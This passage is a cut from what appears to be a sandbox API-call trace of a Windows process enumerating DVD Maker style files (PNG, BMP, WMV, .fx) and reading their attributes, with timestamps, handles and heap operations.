dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0245.146] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b0649f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b0649f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b44779d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e31e, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_rgb.wmv", cAlternateFileName="")) returned 1 [0245.146] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b2c5fc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b2c5fc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_RGB_PAL.wmv", cAlternateFileName="")) returned 1 [0245.146] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a94088, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a94088, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0245.146] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72aba1e5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72aba1e5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x239b, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainimage-mask.png", cAlternateFileName="")) returned 1 [0245.146] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x559, dwReserved0=0x0, dwReserved1=0x0, cFileName="notes-static.png", cAlternateFileName="")) returned 1 [0245.146] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 1 [0245.146] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 0 [0245.146] GetLastError () returned 0x12 [0245.146] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.146] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0245.147] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x929c80) returned 1 [0245.147] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.147] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1 [0245.147] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_glass.png", cAlternateFileName="")) returned 1 [0245.147] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0245.147] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebcc13a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebcc13a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_videoinset.png", cAlternateFileName="")) returned 1 [0245.147] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.147] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e990cc7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e990cc7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="circle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.147] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureA.png", cAlternateFileName="")) returned 1 [0245.147] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureB.png", cAlternateFileName="")) returned 1 [0245.147] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_VideoInset.png", cAlternateFileName="")) returned 1 [0245.147] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea030de, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea030de, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.147] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5c9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dot.png", cAlternateFileName="")) returned 1 [0245.147] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee799c4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee799c4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4cb30a29, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x422c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdTransform.fx", cAlternateFileName="")) returned 1 [0245.147] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlipPage", cAlternateFileName="")) returned 1 [0245.147] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.147] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.147] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0245.148] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0245.148] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9309d8 [0245.148] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9309d8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9309d8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0245.148] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9309d8) returned 1 [0245.148] NtClose (Handle=0x1c0) returned 0x0 [0245.148] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.148] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.148] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.148] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.148] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0245.158] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.158] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0245.158] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ea0 [0245.158] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926ea0) returned 1 [0245.158] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ea0 [0245.158] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926ea0) returned 1 [0245.158] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ea0 [0245.158] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x929c80 [0245.158] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.158] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x922e78 [0245.158] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92cc00 [0245.158] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926ea0) returned 1 [0245.158] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe3ea46, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe3ea46, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0245.158] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ea0 [0245.158] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926ea0) returned 1 [0245.158] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ea0 [0245.158] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926ea0) returned 1 [0245.159] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ea0 [0245.159] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x922e98 [0245.159] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92cd08 [0245.159] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926ea0) returned 1 [0245.159] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fed6fba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fed6fba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.159] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.159] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.159] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.159] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.159] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe8ad00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe8ad00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.159] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 1 [0245.159] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 0 [0245.159] GetLastError () returned 0x12 [0245.159] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0245.159] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0245.159] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.159] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0245.159] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe3ea46, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe3ea46, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0245.159] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fed6fba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fed6fba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.159] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.159] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.159] FindNextFileW (in: 